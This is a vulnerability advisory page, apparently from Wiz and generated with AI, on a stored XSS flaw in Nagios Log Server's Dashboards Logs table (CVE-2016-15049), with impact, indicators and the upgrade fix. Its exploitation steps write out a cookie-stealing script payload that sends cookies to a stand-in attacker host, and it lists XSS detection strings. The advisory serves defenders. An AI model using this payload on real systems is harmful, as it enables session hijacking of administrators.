CVE-2016-15049
Nagios Log Server vulnerability analysis and mitigation

Overview

CVE-2016-15049 is a stored Cross-Site Scripting (XSS) vulnerability in Nagios Log Server affecting all versions prior to 1.4.2. The flaw exists in the Dashboards section where log entries rendered in the Logs table are not properly HTML-encoded, allowing attacker-controlled log content to execute arbitrary JavaScript in a victim's browser within the application origin. The CVE was published on October 30, 2025, and assigned by VulnCheck. It carries a CVSS v3.1 base score of 5.4 (Medium) and a CVSS v4.0 base score of 5.1 (Medium) (Red Hat CVE, VulnCheck Advisory).

Technical details

The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting), where untrusted log data ingested by Nagios Log Server is reflected back into the Dashboards UI without proper output encoding. An attacker with the ability to inject malicious content into monitored log sources (e.g., crafting log entries containing <script> tags or event handler payloads) can cause that content to execute in the browser of any authenticated user who views the affected Logs table. Exploitation requires low privileges (the attacker must be able to influence log content) and user interaction (a victim must view the dashboard). The attack vector is network-based with low complexity (VulnCheck Advisory, Red Hat CVE).

Impact

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of an authenticated Nagios Log Server user's browser session, potentially enabling session token theft, credential harvesting, unauthorized actions performed on behalf of the victim, or redirection to malicious sites. The scope is changed (S:C), meaning the impact extends beyond the vulnerable component to the victim's browser environment. Confidentiality and integrity are both assessed as low impact, and availability is not affected (VulnCheck Advisory).

Exploitability

No public exploit code or active in-the-wild exploitation has been reported for CVE-2016-15049. The EPSS score is approximately 0.376%, indicating a low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. No threat actor attribution has been identified (Red Hat CVE, VulnCheck Advisory).

Exploitation steps

  1. Identify target: Confirm the target is running Nagios Log Server prior to version 1.4.2 with the Dashboards feature enabled and accessible to users.
  2. Inject malicious log entry: Craft a log message containing an XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) and cause it to be ingested by a log source monitored by the Nagios Log Server (e.g., via syslog, application log injection, or a monitored service).
  3. Wait for victim interaction: Wait for an authenticated Nagios Log Server user (e.g., an administrator) to navigate to the Dashboards section and view the Logs table containing the malicious entry.
  4. Script executes: The unencoded log entry renders as HTML in the victim's browser, executing the injected script within the Nagios Log Server application origin, potentially stealing session cookies or performing actions as the victim (VulnCheck Advisory).

Indicators of compromise

  • Logs: Nagios Log Server access logs showing unusual or encoded strings (e.g., <script>, %3Cscript%3E, onerror=, javascript:) appearing within log entry fields rendered in the Dashboards UI.
  • Network: Outbound HTTP/S requests from a victim's browser to unexpected external domains shortly after viewing the Nagios Log Server Dashboards page, potentially carrying cookie or session data in query parameters.
  • Application: Presence of log entries in monitored sources containing HTML or JavaScript tags that would not normally appear in legitimate log output.

Mitigation and workarounds

Upgrade Nagios Log Server to version 1.4.2 or later, which addresses the XSS vulnerability by properly encoding log content before rendering it in the Dashboards Logs table. As a temporary workaround, restrict access to the Nagios Log Server Dashboards to trusted users only and limit which log sources can feed data into the server. Review and sanitize log pipelines to prevent injection of HTML/JavaScript content where possible (Nagios Changelog, VulnCheck Advisory).

Additional resources


SourceThis report was generated using AI

Related Nagios Log Server vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

CVE-2025-34277CRITICAL9.4
  • Nagios Log Server logoNagios Log Server
  • cpe:2.3:a:nagios:log_server
NoNoOct 30, 2025
CVE-2025-34274CRITICAL9.3
  • Nagios Log Server logoNagios Log Server
  • cpe:2.3:a:nagios:log_server
NoNoOct 30, 2025
CVE-2025-34298HIGH8.7
  • Nagios Log Server logoNagios Log Server
  • cpe:2.3:a:nagios:log_server
NoNoOct 30, 2025
CVE-2025-34322HIGH8.6
  • Nagios Log Server logoNagios Log Server
  • cpe:2.3:a:nagios:log_server
NoNoNov 17, 2025
CVE-2025-34323HIGH8.5
  • Nagios Log Server logoNagios Log Server
  • cpe:2.3:a:nagios:log_server
NoNoNov 17, 2025

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management